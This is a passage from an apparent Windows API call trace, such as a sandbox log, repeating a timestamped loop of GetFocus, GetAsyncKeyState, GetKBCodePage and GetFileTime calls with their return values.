lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.650] GetKBCodePage () returned 0x1b5 [0220.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.650] GetKBCodePage () returned 0x1b5 [0220.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.650] GetKBCodePage () returned 0x1b5 [0220.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.650] GetKBCodePage () returned 0x1b5 [0220.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.650] GetKBCodePage () returned 0x1b5 [0220.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.650] GetKBCodePage () returned 0x1b5 [0220.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.650] GetKBCodePage () returned 0x1b5 [0220.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.650] GetFocus () returned 0x0 [0220.650] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.651] GetFocus () returned 0x0 [0220.651] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.651] GetFocus () returned 0x0 [0220.651] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.651] GetFocus () returned 0x0 [0220.651] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.651] GetFocus () returned 0x0 [0220.651] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.651] GetFocus () returned 0x0 [0220.651] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.651] GetFocus () returned 0x0 [0220.651] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.651] GetFocus () returned 0x0 [0220.651] GetAsyncKeyState (vKey=58) returned 0 [0220.651] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.652] GetAsyncKeyState (vKey=58) returned 0 [0220.652] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.652] GetAsyncKeyState (vKey=58) returned 0 [0220.652] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.652] GetAsyncKeyState (vKey=58) returned 0 [0220.652] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.652] GetAsyncKeyState (vKey=58) returned 0 [0220.652] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.652] GetAsyncKeyState (vKey=58) returned 0 [0220.652] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.652] GetAsyncKeyState (vKey=58) returned 0 [0220.652] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.652] GetAsyncKeyState (vKey=58) returned 0 [0220.652] GetKBCodePage () returned 0x1b5 [0220.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.652] GetFocus () returned 0x0 [0220.653] GetAsyncKeyState (vKey=58) returned 0 [0220.653] GetKBCodePage () returned 0x1b5 [0220.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.653] GetFocus () returned 0x0 [0220.653] GetAsyncKeyState (vKey=58) returned 0 [0220.653] GetKBCodePage () returned 0x1b5 [0220.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.653] GetFocus () returned 0x0 [0220.653] GetAsyncKeyState (vKey=58) returned 0 [0220.653] GetKBCodePage () returned 0x1b5 [0220.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.653] GetFocus () returned 0x0 [0220.653] GetAsyncKeyState (vKey=58) returned 0 [0220.653] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.654] GetFocus () returned 0x0 [0220.654] GetAsyncKeyState (vKey=58) returned 0 [0220.654] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.654] GetFocus () returned 0x0 [0220.654] GetAsyncKeyState (vKey=58) returned 0 [0220.654] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.654] GetFocus () returned 0x0 [0220.654] GetAsyncKeyState (vKey=58) returned 0 [0220.654] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.654] GetFocus () returned 0x0 [0220.654] GetAsyncKeyState (vKey=58) returned 0 [0220.654] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.654] GetFocus () returned 0x0 [0220.654] GetAsyncKeyState (vKey=58) returned 0 [0220.654] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.654] GetFocus () returned 0x0 [0220.654] GetAsyncKeyState (vKey=58) returned 0 [0220.654] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.654] GetFocus () returned 0x0 [0220.654] GetAsyncKeyState (vKey=58) returned 0 [0220.654] GetKBCodePage () returned 0x1b5 [0220.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.655] GetKBCodePage () returned 0x1b5 [0220.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.655] GetFocus () returned 0x0 [0220.655] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.656] GetFocus () returned 0x0 [0220.656] GetAsyncKeyState (vKey=58) returned 0 [0220.656] GetKBCodePage () returned 0x1b5 [0220.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), 